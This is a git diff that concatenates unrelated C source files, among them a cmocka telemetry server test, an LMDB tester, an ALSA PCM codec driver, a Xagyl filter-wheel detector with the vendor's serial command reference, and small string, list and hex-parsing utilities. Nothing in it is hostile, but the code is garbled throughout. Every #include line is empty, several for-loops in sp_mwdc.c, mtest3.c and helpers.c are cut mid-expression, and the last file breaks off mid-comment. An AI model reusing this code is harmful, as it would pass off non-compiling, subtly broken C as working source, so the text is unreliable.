distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TEST_INT_PORT 10 +#define TEST_EXT_PORT 20 +#define TEST_NUM_CON 5 +#define TEST_ADDRESS 1 +#define TEST_SOCKET_PORT 8888 + +CSP_DEFINE_TASK(client_task) +{ + telemetry_packet pkt; + pkt.source.topic_id = 12; + pkt.source.subsystem_id = 11; + pkt.source.data_type = TELEMETRY_TYPE_INT; + pkt.timestamp = 101010; + int data = 121212; + + printf("Begin client task\r\n"); + + csp_sleep_ms(100); + + pkt.data.i = data; + assert_true(telemetry_publish(pkt)); + + csp_thread_exit(); +} + +static void test_server(void ** arg) +{ + csp_thread_handle_t client_task_handle; + socket_conn server_conn; + socket_conn conn; + uint8_t message[TELEMETRY_BUFFER_SIZE]; + uint32_t msg_size; + + csp_thread_create(client_task, "CLIENT", 1024, NULL, 0, &client_task_handle); + + assert_true(kprv_socket_server_setup(&server_conn, TELEMETRY_SOCKET_PORT, TELEMETRY_SUBSCRIBERS_MAX_NUM)); + assert_true(kprv_socket_server_accept(&server_conn, &conn)); + assert_true(conn.socket_handle > 0); + assert_true(conn.is_active); + + subscriber_list_item * sub = kprv_subscriber_init(conn); + assert_non_null(sub); + + assert_true(kprv_socket_recv(&(sub->conn), message, TELEMETRY_BUFFER_SIZE, &msg_size)); + + assert_true(telemetry_process_message(sub, (void *)message, msg_size)); + + kprv_subscriber_destroy(&sub); + + telemetry_server_cleanup(); + + csp_thread_kill(client_task_handle); +} + +int main(void) +{ + const struct CMUnitTest tests[] = { + cmocka_unit_test(test_server), + }; + + return cmocka_run_group_tests(tests, NULL, NULL); +} \ No newline at end of file diff --git a/pool/shard011/C/0142137_rstrip.c b/pool/shard011/C/0142137_rstrip.c new file mode 100644 index 0000000000000000000000000000000000000000..806b3f5520a6b61c514775523c6b24bdc917ac9a --- /dev/null +++ b/pool/shard011/C/0142137_rstrip.c @@ -0,0 +1,28 @@ +/* str/rstrip.c - Strip whitespace from the right of a string + * Copyright (C) 2001,2005 Bruce Guenter + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include +#include "str.h" + +/** Strip all white space from the right (end) of the string */ +void str_rstrip(str* s) +{ + unsigned len; + for (len = s->len; len > 0 && isspace(s->s[len-1]); --len) ; + s->len = len; + s->s[len] = 0; +} diff --git a/pool/shard011/C/0142138_track.c b/pool/shard011/C/0142138_track.c new file mode 100644 index 0000000000000000000000000000000000000000..9ee8461b6bda608d2567820d08ffb29194eb1f25 --- /dev/null +++ b/pool/shard011/C/0142138_track.c @@ -0,0 +1,33 @@ +#include "track.h" +#include "util.h" + +void track_remove_all(track_ptr t) +{ + darray_forall(t->event, free); + darray_remove_all(t->event); +} + +void track_clear(track_ptr t) +{ + track_remove_all(t); + free(t->id); + darray_clear(t->event); +} + +void track_init(track_ptr t, char *id) +{ + t->id = strclone(id); + darray_init(t->event); +} + +void track_add_event(track_ptr t, int delta, int type, int x1, int x2) +{ + event_ptr e; + + e = (event_ptr) malloc(sizeof(event_t)); + e->delta = delta; + e->type = type; + e->x1 = x1; + e->x2 = x2; + darray_append(t->event, e); +} diff --git a/pool/shard011/C/0142139_sp_mwdc.c b/pool/shard011/C/0142139_sp_mwdc.c new file mode 100644 index 0000000000000000000000000000000000000000..18bd2def49ef890815ecdb80d12ad275e75f8ea6 --- /dev/null +++ b/pool/shard011/C/0142139_sp_mwdc.c @@ -0,0 +1,58 @@ +/* + * sp_mwdc.c + * + * Created on: 1 Sep 2010 + * Author: Ben Smithers (bs8959 AT brist DOT ac DOT uk) + */ + +#include +#include +#include +#include "sp_mwdc.h" + +struct SP_MWDC_MATCHING_POSITIONS *sp_mwdc_create_new_list_of_matches(){ + struct SP_MWDC_MATCHING_POSITIONS *list = malloc(sizeof(struct SP_MWDC_MATCHING_POSITIONS)); + list->start = list->iterator = list->end = NULL; + return list; +} + +struct SP_MWDC_INT_LIST *sp_mwdc_newListItem(int i){ + struct SP_MWDC_INT_LIST *listItem = malloc(sizeof(struct SP_MWDC_INT_LIST)); + listItem->next = NULL; + listItem->i = i; + return listItem; +} + +void sp_mwdc_addToListOfMatches(struct SP_MWDC_MATCHING_POSITIONS *listOfMatches,int i){ + struct SP_MWDC_INT_LIST *listItem = sp_mwdc_newListItem(i); + if(listOfMatches->start == NULL){ + listOfMatches->start = listOfMatches->end = listOfMatches->iterator = listItem; + }else{ + listOfMatches->end->next = listItem; + listOfMatches->end = listItem; + } +} + +void sp_mwdc_freeListOfMatches(struct SP_MWDC_MATCHING_POSITIONS *listOfMatches){ + struct SP_MWDC_INT_LIST *next; + while(listOfMatches->start !=NULL){ + next = listOfMatches->start->next; + free(listOfMatches->start); + listOfMatches->start = next; + } + free(listOfMatches); +} + +unsigned roundUpToPowerOf2(unsigned n){ + if(n==0){ + return 1; + } + n--; + int bits = sizeof(unsigned) * CHAR_BIT; + int i; + for(i=1;i> i); + } + n++; + return n; +} diff --git a/pool/shard011/C/0142140_mtest3.c b/pool/shard011/C/0142140_mtest3.c new file mode 100644 index 0000000000000000000000000000000000000000..f705c52decd4bb5cf4683aaabf254523906ea66c --- /dev/null +++ b/pool/shard011/C/0142140_mtest3.c @@ -0,0 +1,133 @@ +/* mtest3.c - memory-mapped database tester/toy */ +/* + * Copyright 2011-2014 Howard Chu, Symas Corp. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted only as authorized by the OpenLDAP + * Public License. + * + * A copy of this license is available in the file LICENSE in the + * top-level directory of the distribution or, alternatively, at + * . + */ + +/* Tests for sorted duplicate DBs */ +#include +#include +#include +#include +#include "lmdb.h" + +#define E(expr) CHECK((rc = (expr)) == MDB_SUCCESS, #expr) +#define RES(err, expr) ((rc = expr) == (err) || (CHECK(!rc, #expr), 0)) +#define CHECK(test, msg) ((test) ? (void)0 : ((void)fprintf(stderr, \ + "%s:%d: %s: %s\n", __FILE__, __LINE__, msg, mdb_strerror(rc)), abort())) + +int main(int argc,char * argv[]) +{ + int i = 0, j = 0, rc; + MDB_env *env; + MDB_dbi dbi; + MDB_val key, data; + MDB_txn *txn; + MDB_stat mst; + MDB_cursor *cursor; + int count; + int *values; + char sval[32]; + char kval[sizeof(int)]; + + srand(time(NULL)); + + memset(sval, 0, sizeof(sval)); + + count = (rand()%384) + 64; + values = (int *)malloc(count*sizeof(int)); + + for(i = 0;i -1; i-= (rand()%5)) { + j++; + txn=NULL; + E(mdb_txn_begin(env, NULL, 0, &txn)); + sprintf(kval, "%03x", values[i & ~0x0f]); + sprintf(sval, "%03x %d foo bar", values[i], values[i]); + key.mv_size = sizeof(int); + key.mv_data = kval; + data.mv_size = sizeof(sval); + data.mv_data = sval; + if (RES(MDB_NOTFOUND, mdb_del(txn, dbi, &key, &data))) { + j--; + mdb_txn_abort(txn); + } else { + E(mdb_txn_commit(txn)); + } + } + free(values); + printf("Deleted %d values\n", j); + + E(mdb_env_stat(env, &mst)); + E(mdb_txn_begin(env, NULL, 1, &txn)); + E(mdb_cursor_open(txn, dbi, &cursor)); + printf("Cursor next\n"); + while ((rc = mdb_cursor_get(cursor, &key, &data, MDB_NEXT)) == 0) { + printf("key: %.*s, data: %.*s\n", + (int) key.mv_size, (char *) key.mv_data, + (int) data.mv_size, (char *) data.mv_data); + } + CHECK(rc == MDB_NOTFOUND, "mdb_cursor_get"); + printf("Cursor prev\n"); + while ((rc = mdb_cursor_get(cursor, &key, &data, MDB_PREV)) == 0) { + printf("key: %.*s, data: %.*s\n", + (int) key.mv_size, (char *) key.mv_data, + (int) data.mv_size, (char *) data.mv_data); + } + CHECK(rc == MDB_NOTFOUND, "mdb_cursor_get"); + mdb_cursor_close(cursor); + mdb_close(env, dbi); + + mdb_txn_abort(txn); + mdb_env_close(env); + + return 0; +} diff --git a/pool/shard011/C/0142141_sndpcm.c b/pool/shard011/C/0142141_sndpcm.c new file mode 100644 index 0000000000000000000000000000000000000000..bf44ed8da235e9bae1ffdf6c82a3f4e5a3e506b4 --- /dev/null +++ b/pool/shard011/C/0142141_sndpcm.c @@ -0,0 +1,206 @@ +/* + * sound\soc\sun6i\pcm\sndpcm.c + * (C) Copyright 2010-2016 + * Reuuimlla Technology Co., Ltd. + * huangxin + * + * some simple description for this code + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +struct sndpcm_priv { + int sysclk; + int dai_fmt; + + struct snd_pcm_substream *master_substream; + struct snd_pcm_substream *slave_substream; +}; + +static int pcm_used = 0; +#define sndpcm_RATES (SNDRV_PCM_RATE_8000_192000|SNDRV_PCM_RATE_KNOT) +#define sndpcm_FORMATS (SNDRV_PCM_FMTBIT_S8 | SNDRV_PCM_FMTBIT_S16_LE | \ + SNDRV_PCM_FMTBIT_S18_3LE | SNDRV_PCM_FMTBIT_S20_3LE) + +static int sndpcm_mute(struct snd_soc_dai *dai, int mute) +{ + return 0; +} + +static int sndpcm_startup(struct snd_pcm_substream *substream, + struct snd_soc_dai *dai) +{ + return 0; +} + +static void sndpcm_shutdown(struct snd_pcm_substream *substream, + struct snd_soc_dai *dai) +{ + +} + +static int sndpcm_hw_params(struct snd_pcm_substream *substream, + struct snd_pcm_hw_params *params, + struct snd_soc_dai *dai) +{ + return 0; +} + +static int sndpcm_set_dai_sysclk(struct snd_soc_dai *codec_dai, + int clk_id, unsigned int freq, int dir) +{ + return 0; +} + +static int sndpcm_set_dai_clkdiv(struct snd_soc_dai *codec_dai, int div_id, int div) +{ + return 0; +} + +static int sndpcm_set_dai_fmt(struct snd_soc_dai *codec_dai, + unsigned int fmt) +{ + return 0; +} + +struct snd_soc_dai_ops sndpcm_dai_ops = { + .startup = sndpcm_startup, + .shutdown = sndpcm_shutdown, + .hw_params = sndpcm_hw_params, + .digital_mute = sndpcm_mute, + .set_sysclk = sndpcm_set_dai_sysclk, + .set_clkdiv = sndpcm_set_dai_clkdiv, + .set_fmt = sndpcm_set_dai_fmt, +}; + +struct snd_soc_dai_driver sndpcm_dai = { + .name = "sndpcm", + /* playback capabilities */ + .playback = { + .stream_name = "Playback", + .channels_min = 1, + .channels_max = 2, + .rates = sndpcm_RATES, + .formats = sndpcm_FORMATS, + }, + .capture = { + .stream_name = "Capture", + .channels_min = 1, + .channels_max = 2, + .rates = sndpcm_RATES, + .formats = sndpcm_FORMATS, + }, + /* pcm operations */ + .ops = &sndpcm_dai_ops, +}; +EXPORT_SYMBOL(sndpcm_dai); + +static int sndpcm_soc_probe(struct snd_soc_codec *codec) +{ + struct sndpcm_priv *sndpcm; + + sndpcm = kzalloc(sizeof(struct sndpcm_priv), GFP_KERNEL); + if(sndpcm == NULL){ + return -ENOMEM; + } + snd_soc_codec_set_drvdata(codec, sndpcm); + + return 0; +} + +/* power down chip */ +static int sndpcm_soc_remove(struct snd_soc_codec *codec) +{ + struct sndpcm_priv *sndpcm = snd_soc_codec_get_drvdata(codec); + + kfree(sndpcm); + + return 0; +} + +static struct snd_soc_codec_driver soc_codec_dev_sndpcm = { + .probe = sndpcm_soc_probe, + .remove = sndpcm_soc_remove, +}; + +static int __devinit sndpcm_codec_probe(struct platform_device *pdev) +{ + return snd_soc_register_codec(&pdev->dev, &soc_codec_dev_sndpcm, &sndpcm_dai, 1); +} + +static int __devexit sndpcm_codec_remove(struct platform_device *pdev) +{ + snd_soc_unregister_codec(&pdev->dev); + return 0; +} +/*data relating*/ +static struct platform_device sndpcm_codec_device = { + .name = "sun6i-pcm-codec", +}; + +/*method relating*/ +static struct platform_driver sndpcm_codec_driver = { + .driver = { + .name = "sun6i-pcm-codec", + .owner = THIS_MODULE, + }, + .probe = sndpcm_codec_probe, + .remove = __devexit_p(sndpcm_codec_remove), +}; + +static int __init sndpcm_codec_init(void) +{ + int err = 0; + script_item_u val; + script_item_value_type_e type; + + type = script_get_item("pcm_para", "pcm_used", &val); + if (SCIRPT_ITEM_VALUE_TYPE_INT != type) { + printk("[PCM] type err!\n"); + } + + pcm_used = val.val; + if (pcm_used) { + if((err = platform_device_register(&sndpcm_codec_device)) < 0) + return err; + + if ((err = platform_driver_register(&sndpcm_codec_driver)) < 0) + return err; + } else { + printk("[PCM]sndpcm cannot find any using configuration for controllers, return directly!\n"); + return 0; + } + + return 0; +} +module_init(sndpcm_codec_init); + +static void __exit sndpcm_codec_exit(void) +{ + if (pcm_used) { + pcm_used = 0; + platform_driver_unregister(&sndpcm_codec_driver); + } +} +module_exit(sndpcm_codec_exit); + +MODULE_DESCRIPTION("SNDPCM ALSA soc codec driver"); +MODULE_AUTHOR("Zoltan Devai, Christian Pellegrin "); +MODULE_LICENSE("GPL"); +MODULE_ALIAS("platform:sun6i-pcm-codec"); diff --git a/pool/shard011/C/0142142_xagylfw-udev.c b/pool/shard011/C/0142142_xagylfw-udev.c new file mode 100644 index 0000000000000000000000000000000000000000..e7b670ad07bcd67a24c14dee8f44b27139cf5a71 --- /dev/null +++ b/pool/shard011/C/0142142_xagylfw-udev.c @@ -0,0 +1,421 @@ +/***************************************************************************** + * + * xagylfw-udev.c -- Find Xagyl filter wheels using (Linux) udev + * + * Copyright 2014,2015 James Fidell (james@openastroproject.org) + * + * License: + * + * This file is part of the Open Astro Project. + * + * The Open Astro Project is free software: you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * The Open Astro Project is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with the Open Astro Project. If not, see + * . + * + *****************************************************************************/ + +#include + +#include +#include +#include +#ifdef XAGYL_READ_FOUND_WHEEL +#include +#include +#include +#endif + +#include +#include + +#include "oafwprivate.h" +#include "unimplemented.h" +#include "xagylfw.h" + +int +oaXagylGetFilterWheels ( FILTERWHEEL_LIST* deviceList ) +{ + // want to find all the usb serial devices and see which have + // a VID:PID of 0403:6001 or VID:PID 0403:6015. Further check + // that the serial number for the device is either A4008T44 or + // DA001CEZ + + struct udev* udev; + struct udev_enumerate* enumerate; + struct udev_list_entry* devices; + struct udev_list_entry* dev_list_entry; + struct udev_device* dev; + const char* serialNo; + const char* manufacturer; + const char* product; + const char* path; + const char* deviceNode; + const char* vid; + const char* pid; + uint8_t haveWheel; + int numFound = 0, entry, ret; + oaFilterWheelDevice* wheel; + char buffer[200]; + DEVICE_INFO* _private; +#ifdef XAGYL_READ_FOUND_WHEEL + struct termios tio; + int fwDesc, numRead; +#endif + + if (!( udev = udev_new())) { + fprintf ( stderr, "can't get connection to udev\n" ); + return -OA_ERR_SYSTEM_ERROR; + } + + enumerate = udev_enumerate_new ( udev ); + udev_enumerate_add_match_subsystem ( enumerate, "tty" ); + udev_enumerate_scan_devices ( enumerate ); + devices = udev_enumerate_get_list_entry ( enumerate ); + udev_list_entry_foreach ( dev_list_entry, devices ) { + + path = udev_list_entry_get_name ( dev_list_entry ); + dev = udev_device_new_from_syspath ( udev, path ); + deviceNode = udev_device_get_devnode ( dev ); + + haveWheel = 0; + + if (( dev = udev_device_get_parent_with_subsystem_devtype ( dev, "usb", + "usb_device" ))) { + vid = udev_device_get_sysattr_value ( dev, "idVendor" ); + pid = udev_device_get_sysattr_value ( dev, "idProduct" ); + serialNo = udev_device_get_sysattr_value ( dev, "serial" ); + haveWheel = 0; + if ( !strcmp ( "0403", vid ) && ( !strcmp ( "6001", pid ) || + !strcmp ( "6015", pid ))) { + if ( !strcmp ( serialNo, "A4008T44" ) || + !strcmp ( serialNo, "DA001CEZ" ) || + !strcmp ( serialNo, "DA00BT4MA" )) { + haveWheel = 1; + } + } + + // Check the user-defined entries if required. The sense here is to + // accept a match wherever the configured values match the USB data. + if ( !haveWheel && xagylConfigEntries ) { + manufacturer = udev_device_get_sysattr_value ( dev, "manufacturer" ); + product = udev_device_get_sysattr_value ( dev, "product" ); + userDeviceConfig* confp = xagylConfig; + for ( entry = 0; entry < xagylConfigEntries && !haveWheel; entry++ ) { + char vidStr[8], pidStr[8]; + if ( confp->vendorId && confp->productId ) { + sprintf ( vidStr, "%04x", confp->vendorId ); + sprintf ( pidStr, "%04x", confp->productId ); + } else { + vidStr[0] = pidStr[0] = 0; + } + haveWheel = 1; + if (( *vidStr && strcasecmp ( vidStr, vid )) || + ( *pidStr && strcasecmp ( pidStr, pid )) || + ( *( confp->manufacturer ) && + strcasecmp ( confp->manufacturer, manufacturer )) || + ( *( confp->product ) && + strcasecmp ( confp->product, product )) || + ( *( confp->serialNo ) && + strcasecmp ( confp->serialNo, serialNo ))) { + haveWheel = 0; + } + confp += sizeof ( userDeviceConfig ); + } + } + + if ( haveWheel ) { + +#ifdef XAGYL_READ_FOUND_WHEEL + // At this point we want to lock the serial device, open it + // and run inquiries to get the product name and firmware version + + if (( fwDesc = open ( deviceNode, O_RDWR | O_NOCTTY )) < 0 ) { + fprintf ( stderr, "Can't open %s read-write, errno = %d\n", + deviceNode, errno ); + } else { + if ( ioctl ( fwDesc, TIOCEXCL )) { + int errnoCopy = errno; + errno = 0; + while (( close ( fwDesc ) < 0 ) && EINTR == errno ); + fprintf ( stderr, "%s: can't get lock on %s, errno = %d\n", + __FUNCTION__, deviceNode, errnoCopy ); + continue; + } + + if ( tcgetattr ( fwDesc, &tio )) { + int errnoCopy = errno; + errno = 0; + while (( close ( fwDesc ) < 0 ) && EINTR == errno ); + fprintf ( stderr, "%s: can't get termio on %s, errno = %d\n", + __FUNCTION__, deviceNode, errnoCopy ); + continue; + } + + tio.c_cflag &= ~PARENB; // no parity + tio.c_cflag &= ~CSTOPB; // 1 stop bit + cfsetospeed ( &tio, B9600 ); + cfsetispeed ( &tio, B9600 ); + if ( tcsetattr ( fwDesc, TCSANOW, &tio )) { + int errnoCopy = errno; + errno = 0; + while (( close ( fwDesc ) < 0 ) && EINTR == errno ); + fprintf ( stderr, "%s: can't set termio on %s, errno = %d\n", + __FUNCTION__, deviceNode, errnoCopy ); + continue; + } +#endif + + if (!( wheel = malloc ( sizeof ( oaFilterWheelDevice )))) { + udev_device_unref ( dev ); + udev_enumerate_unref ( enumerate ); + udev_unref ( udev ); + _oaFreeFilterWheelDeviceList ( deviceList ); + return -OA_ERR_MEM_ALLOC; + } + if (!( _private = malloc ( sizeof ( DEVICE_INFO )))) { + udev_device_unref ( dev ); + udev_enumerate_unref ( enumerate ); + udev_unref ( udev ); + free (( void* ) wheel ); + _oaFreeFilterWheelDeviceList ( deviceList ); + return -OA_ERR_MEM_ALLOC; + } + _oaInitFilterWheelDeviceFunctionPointers ( wheel ); + wheel->interface = OA_FW_IF_XAGYL; + wheel->_private = _private; +#ifdef XAGYL_READ_FOUND_WHEEL + if ( write ( fwDesc, "i0", 2 ) != 2 ) { + fprintf ( stderr, "%s: write error on %s\n", __FUNCTION__, + deviceNode ); + close ( fwDesc ); + continue; + } + numRead = read ( fwDesc, buffer, 50 ); + if ( numRead > 0 ) { + buffer[numRead] = 0; + numRead--; + while ( buffer[numRead] == '\r' || buffer[numRead] == '\n' ) { + buffer[numRead--] = 0; + } + } else { + fprintf ( stderr, "%s: failed to read name from %s\n", + __FUNCTION__, deviceNode ); + close ( fwDesc ); + continue; + } + + if ( strstr ( buffer, "FW5125" )) { + wheel->_devType = XAGYL_5125; + } else { + if ( strstr ( buffer, "FW8125" )) { + wheel->_devType = XAGYL_8125; + } else { + if ( strstr ( buffer, "FW5200" )) { + wheel->_devType = XAGYL_5200; + } + } + } +#else + ( void ) strcpy ( buffer, "Xagyl Filter Wheel" ); + _private->devType = XAGYL_5125; +#endif + if ( _private->devType ) { + ( void ) strcpy ( wheel->deviceName, buffer ); + _private->devIndex = numFound++; + // _private->vendorId = vid; + // _private->productId = pid; + wheel->initFilterWheel = oaXagylInitFilterWheel; + ( void ) strncpy ( _private->sysPath, deviceNode, PATH_MAX ); + if (( ret = _oaCheckFilterWheelArraySize ( deviceList )) < 0 ) { + free (( void* ) wheel ); + free (( void* ) _private ); + _oaFreeFilterWheelDeviceList ( deviceList ); +#ifdef XAGYL_READ_FOUND_WHEEL + close ( fwDesc ); +#endif + udev_device_unref ( dev ); + udev_enumerate_unref ( enumerate ); + udev_unref ( udev ); + return ret; + } + deviceList->wheelList[ deviceList->numFilterWheels++ ] = wheel; + } else { + fprintf ( stderr, "%s: Unrecognised filter wheel '%s'\n", + __FUNCTION__, buffer ); + } +#ifdef XAGYL_READ_FOUND_WHEEL + close ( fwDesc ); + } +#endif + } + udev_device_unref ( dev ); + } + } + udev_enumerate_unref ( enumerate ); + udev_unref ( udev ); + + return numFound; +} + + +const char* +oaXagylWheelGetName ( oaFilterWheel* wheel ) +{ + return wheel->deviceName; +} + + +/* + * From the Xagyl manual: + +As of firmware version 3.1.5, here are the current commands: +Serial = 9600, 8, n, 1 +Command format = CV where C=command and V=value + +"B", "b" +Move backward Value number of filters - Value = 0 to F Hex (0 to 15 Decimal) + +"C", "c" +Deprecated – use “(“ and “)” +Removed from version 2.0.0 +Calibrate Value where Value is +1 - Shift the carousel counterclockwise +2 - Shift the carousel clockwise + +"F", "f" +Move forward Value number of filters - Value = 0 to F Hex (0 to 15 Decimal) + +"G", "g" +Move to Value position - Value = 1 to X, carousel will turn in direction of shortest path +where X is the highest filter position + +"I", "i" +Inquire Value where Value is: +0 - Display product name "Xagyl FW5125VX" +1 - Display firmware version "FW3.1.5" +2 - Display current filter position - "PX" +3 - Display the serial number - "S/N: XXXXXX" +4 - Display the maximum rotation speed - "MaxSpeed XXX%" +5 - Display the jitter value - "Jitter XX" +6 - Display sensor position offset for current filter position - "PX Offset XX" +7 - Display filter position sensor threshold value - "Threshold XX" +8 - Display the number of available filter slots - "FilterSlots X" +9 - Display the Pulse Width value - "Pulse Width XXXXXuS" + +9 appears not to work in 2.x (my note) + +“M”, “m” +Increase pulse width by 100uS +Value is ignored +Adjust the length of the “ON” pulse during the centering phase of a filter change. This +may be required when the filter wheel is used in extreme cold where some binding +can occur. +Pulse width values range from 100uS to 10000uS. Default value is 1500uS. +Displays “Pulse Width XXXXXuS” + +“N”, “n” +Decrease pulse width by 100uS +Value is ignored +Adjust the length of the “ON” pulse during the centering phase of a filter change. This +may be required when the filter wheel is used in extreme cold where some binding +can occur. +Pulse width values range from 100uS to 10000uS. Default value is 1500uS. +Displays “Pulse Width XXXXXuS” + +“O”, “o” +Display sensor position offset for filter position Value - "PX Offset XX" + +“R”, ”r” +Reset Value where Value is: +0 - Hard reboot +1 - Initialize - restarts and moves to filter position 1 +2 - Reset all calibration values to 0, displays "Calibration Removed" +3 - Reset Jitter value to 1, displays "Jitter 1" +4 - Reset maximum carousel rotation speed to 100%, displays "MaxSpeed 100%" +5 - Reset Threshold value to 30, displays "Threshold 30" +6 - Calibrate - performs a sensor calibration and stores the results in flash + +"S", "s" +Set the maximum carousel rotation speed during normal operation at Value x 10 +percent speed +if Value >= A Hex (10 decimal) then maximum carousel rotation speed = 100% +if Value = 0 then carousel rotation is stopped +Displays "Speed=XXX%" + +"T", "t" +Test (Debug) Value where Value is: +0 - Display current sensor values, displays "Sensors LL RR" where LL is left sensor +and RR is right sensor. Numbers are absolute deviations from Midrange value +1 - Display current sensor values, displays "Sensors LLL RRR" where LLL is left +sensor and RRR is right sensor. Numbers are actual measured values +2 - Display median left sensor value, displays "MidRange XXX" +3 - Display right sensor calibration value, displays "RightCal XX" which is the +hardware deviation between right and left sensor + +"<" +Runs motor backward at Value x 10 percent speed - if Value >= A Hex (10 decimal) then +run at 100% speed +if Value = 0 then carousel rotation is stopped +Do "R1" to stop and reset to index position +Displays "Backward XXX%" + +">" +Runs motor forward at Value x 10 percent speed - if Value >= A Hex (10 decimal) then +run at 100% speed +if Value = 0 then carousel rotation is stopped +Do "R1" to stop and reset to index position +Displays "Forward XXX%" + +“[“ +Decrease jitter window by 1 +Value is ignored +This feature is to compensate for noisy 5V power from the USB port +Jitter values range from 1 to 10 – use the smallest value which provides a jitter-free +filter center position +Displays “Jitter X” + +“]“ +Increase jitter window by 1 +Value is ignored +This feature is to compensate for noisy 5V power from the USB port +Jitter values range from 1 to 10 – use the smallest value which provides a jitter-free +filter center position +Displays “Jitter X” + +“(“ +Position calibration of current filter +Value is ignored +Shift the carousel counterclockwise +Displays "PX Offset XX" + +“)” +Position calibration of current filter +Value is ignored +Shift the carousel clockwise +Displays "PX Offset XX" + +“{“ +Decrease filter position threshold value +Value is ignored +Carousel will stop earlier in rotation and start fine positioning. +Too low of a value can cause carousel to stop prematurely when changing positions +Displays "Threshold XX" + +“}” +Increase filter position threshold value +Value is ignored +Carousel will stop later in rotation and start fine positioning. +Too high of a value can cause the wheel to fail to recognize filter positions +Displays "Threshold XX" + +*/ diff --git a/pool/shard011/C/0142143_hex_to_string.c b/pool/shard011/C/0142143_hex_to_string.c new file mode 100644 index 0000000000000000000000000000000000000000..c98ba1bf5a555e050a1a31559fc0392d589b1fbf --- /dev/null +++ b/pool/shard011/C/0142143_hex_to_string.c @@ -0,0 +1,75 @@ +#include + +int convert_char_unsigned_int(unsigned int *pui_char_val, char pc_str); + +int main(int argc, char *argv[]) +{ + char *pc_str = NULL; + int i_ret = -1; + unsigned int ui_val = 0; + unsigned int ui_char_val = 0; + unsigned int ui_max_chars = sizeof(ui_val); + unsigned int ui_chars = 0; + + if(2 != argc) + { + printf("Invalid number of arguments!\n"); + return -1; + } + + pc_str = argv[1]; + while(('\0' != *pc_str)&& + (ui_chars < ui_max_chars)) + { + i_ret = convert_char_unsigned_int(&ui_char_val, *pc_str); + if(0 != i_ret) + { + printf("Invalid character: %c\n",*pc_str); + } + else + { + ui_val = ui_val<<4; + ui_val |= ui_char_val; + ui_chars++; + } + pc_str++; + } + + printf("Value is : %u\n",ui_val); + + return 0; + +} + +int convert_char_unsigned_int(unsigned int *pui_char_val, char c_val) +{ + int i_ret = -1; + + if(NULL == pui_char_val) + { + i_ret = -1; + return i_ret; + } + + if((c_val <= 'f')&&(c_val >= 'a')) + { + *pui_char_val = c_val - 'a' + 10; + i_ret = 0; + } + else if((c_val <= 'F')&&(c_val >= 'A')) + { + *pui_char_val = c_val - 'A' + 10; + i_ret = 0; + } + else if((c_val <= '9')&&(c_val >= '0')) + { + *pui_char_val = c_val - '0'; + i_ret = 0; + } + else + { + i_ret = -2; + } + + return i_ret; +} diff --git a/pool/shard011/C/0142144_helpers.c b/pool/shard011/C/0142144_helpers.c new file mode 100644 index 0000000000000000000000000000000000000000..713de32d776ac44cbd0221bd34ebd2501aa5e52c --- /dev/null +++ b/pool/shard011/C/0142144_helpers.c @@ -0,0 +1,58 @@ +/***************************************************************** + Some helper macros for benchmarking and CUDA functions + + Copyright (C) 2013 Stefan Grönroos + + Authors: Stefan Grönroos + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +********************************************************************/ + +#include +#include + +// For benchmarking +#ifdef BENCHMARKING +struct timespec time1[5], time2; +struct timespec diff(struct timespec start, struct timespec end) +{ + struct timespec temp; + if ((end.tv_nsec-start.tv_nsec)<0) { + temp.tv_sec = end.tv_sec-start.tv_sec-1; + temp.tv_nsec = 1000000000+end.tv_nsec-start.tv_nsec; + } else { + temp.tv_sec = end.tv_sec-start.tv_sec; + temp.tv_nsec = end.tv_nsec-start.tv_nsec; + } + return temp; +} +#endif + +/* Convert a character array to a one byte per bit format */ +char *bits_to_bytes(int len, char *in) +{ + int i; + unsigned char c; + char *out = (char *)malloc(len*8*sizeof(char)); + + for (i=0;i> c) & 1; + } + } +} diff --git a/pool/shard011/C/0142145_addr-map.c b/pool/shard011/C/0142145_addr-map.c new file mode 100644 index 0000000000000000000000000000000000000000..e63fb05dc8931e637bbec1f6c0f7398e79ebc09a --- /dev/null +++ b/pool/shard011/C/0142145_addr-map.c @@ -0,0 +1,180 @@ +/* + * arch/arm/mach-orion5x/addr-map.c + * + * Address map functions for Marvell Orion 5x SoCs + * + * Maintainer: Tzachi Perelstein + * + * This file is licensed under the terms of the GNU General Public + * License version 2. This program is licensed "as is" without any + * warranty of any kind, whether express or implied. + */ + +#include +#include +#include +#include +#include +#include "common.h" + +/* + * The Orion has fully programable address map. There's a separate address + * map for each of the device _master_ interfaces, e.g. CPU, PCI, PCIe, USB, + * Gigabit Ethernet, DMA/XOR engines, etc. Each interface has its own + * address decode windows that allow it to access any of the Orion resources. + * + * CPU address decoding -- + * Linux assumes that it is the boot loader that already setup the access to + * DDR and internal registers. + * Setup access to PCI and PCIe IO/MEM space is issued by this file. + * Setup access to various devices located on the device bus interface (e.g. + * flashes, RTC, etc) should be issued by 